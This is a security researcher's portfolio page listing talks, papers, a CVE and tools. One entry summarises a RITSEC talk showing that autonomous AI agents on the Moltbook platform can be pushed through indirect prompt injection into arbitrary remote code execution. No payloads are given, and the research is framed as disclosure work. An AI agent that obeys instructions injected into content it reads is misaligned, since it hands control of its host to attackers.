I also posted about this on my [LinkedIn](https://www.linkedin.com/posts/activity-7397298898882707456-TzKL).

This presentation was recorded at [ESL Global Cybersecurity Institute](https://www.rit.edu/cybersecurity/) at [Rochester Institute of Technology](https://www.rit.edu/) during [RITSEC](https://ritsec.com/)'s general meeting session.


DoE Cyberforce is a competition organized by the US Department of Energy to defend a simulated industrial environment. This presentation was recorded RITSEC.

DOE Cyberforce Competition experience - Presentation

[Moltbook](http://moltbook.com) is a social media platform for [OpenClaw](https://openclaw.ai) bots, which are fully-autonomous AI agents. This opens doors for various attacks, most of which could be achieved through prompt injection attacks. In the presentation I gave at RITSEC, I tried to demonstrate the exploit chain for Prompt Injection to [Remote Code Execution](https://owasp.org/www-community/attacks/Code_Injection) through Moltbook.

<YouTubeEmbed url="https://youtu.be/3tXPbAVA_Fg?si=eALoGeukHLHIQBRg" title="Moltbook Research Presentation" />

This presentation was recorded at [ESL Global Cybersecurity Institute](https://www.rit.edu/cybersecurity/) at [Rochester Institute of Technology](https://www.rit.edu/) during [RITSEC](https://ritsec.com/)'s general meeting session.

Upon completion of this research, I plan to work with Moltbook's developers to improve the security of the platform.


Upon conducting a research, I found that it is possible to achieve Arbitrary Remote Code Execution on openclaw bots on Moltbook through indirect prompt injection attacks. This research was demonstrated in a presentation at RITSEC.

Asking AI agents to do (not so) malicious stuff - Presentation

I've been working on a tool called JS Recon, which is a tool built to extract and analyze JavaScript from a website. After 2 months of development, I gave my first presentation at [RITSEC](https://ritsec.club/), which is the cybersecurity club at [Rochester Institute of Technology](https://rit.edu/).

This is more of a demo of the tool, and just slides about the tool.

While the tool has improved a lot since then, the fundamentals of the tool discussed in the presentation are still valid.

<YouTubeEmbed url="https://youtu.be/jQGeq4TNWDM" title="JS Recon Presentation" />


JS Recon Presentation

This post was published on SecureMyOrg’s website. Please check it out [here](https://securemyorg.com/the-security-puzzle-of-graphql-1/)


GraphQL is getting widely adopted for APIs, but with features, it also brings home vulnerabilities.

The Security Puzzle of GraphQL – 1

RITSEC presentations and notes from the field.

Writing & talks

Research collaborations, pentests, or questions about my work. Email is fastest: [shriyanss@ss0x00.com](mailto:shriyanss@ss0x00.com). I'm also on [LinkedIn](https://linkedin.com/in/shriyans-sudhi), [X](https://x.com/ss0x00) and [HackerOne](https://hackerone.com/shriyanss).

I find what software leaks after it ships.

Research

📄 Research Papers

Decompiling the Web: Automated Semantic Recovery of Post-compilation Abstraction Leaks

Secrets Without Signatures: An LLM Agent for Logic-Defined Exposures in Recovered JavaScript

🔓 CVEs

CVE-2026-55378: Command injection in JS Recon's PR Branch Checker workflow

🏛️ Government Advisories

ICSA-25-345-10 - OpenPLC_V3 (Update A)

Open-source tools

JS Recon

CS-MAST

VHost Master

Subdomains wordlist

Track record

Black Hills Information Security

CPTC 2025

HackerOne

Writing & talks

DOE Cyberforce Competition experience - Presentation

Asking AI agents to do (not so) malicious stuff - Presentation

JS Recon Presentation

The Security Puzzle of GraphQL – 1

Have something that needs breaking?

Home

I find what software leaks after it ships.

Research

📄 Research Papers

Decompiling the Web: Automated Semantic Recovery of Post-compilation Abstraction Leaks

Secrets Without Signatures: An LLM Agent for Logic-Defined Exposures in Recovered JavaScript

🔓 CVEs

CVE-2026-55378: Command injection in JS Recon's PR Branch Checker workflow

🏛️ Government Advisories

ICSA-25-345-10 - OpenPLC_V3 (Update A)

Open-source tools

JS Recon

CS-MAST

VHost Master

Subdomains wordlist

Track record

Black Hills Information Security

CPTC 2025

HackerOne

Writing & talks

DOE Cyberforce Competition experience - Presentation

Asking AI agents to do (not so) malicious stuff - Presentation

JS Recon Presentation

The Security Puzzle of GraphQL – 1

Have something that needs breaking?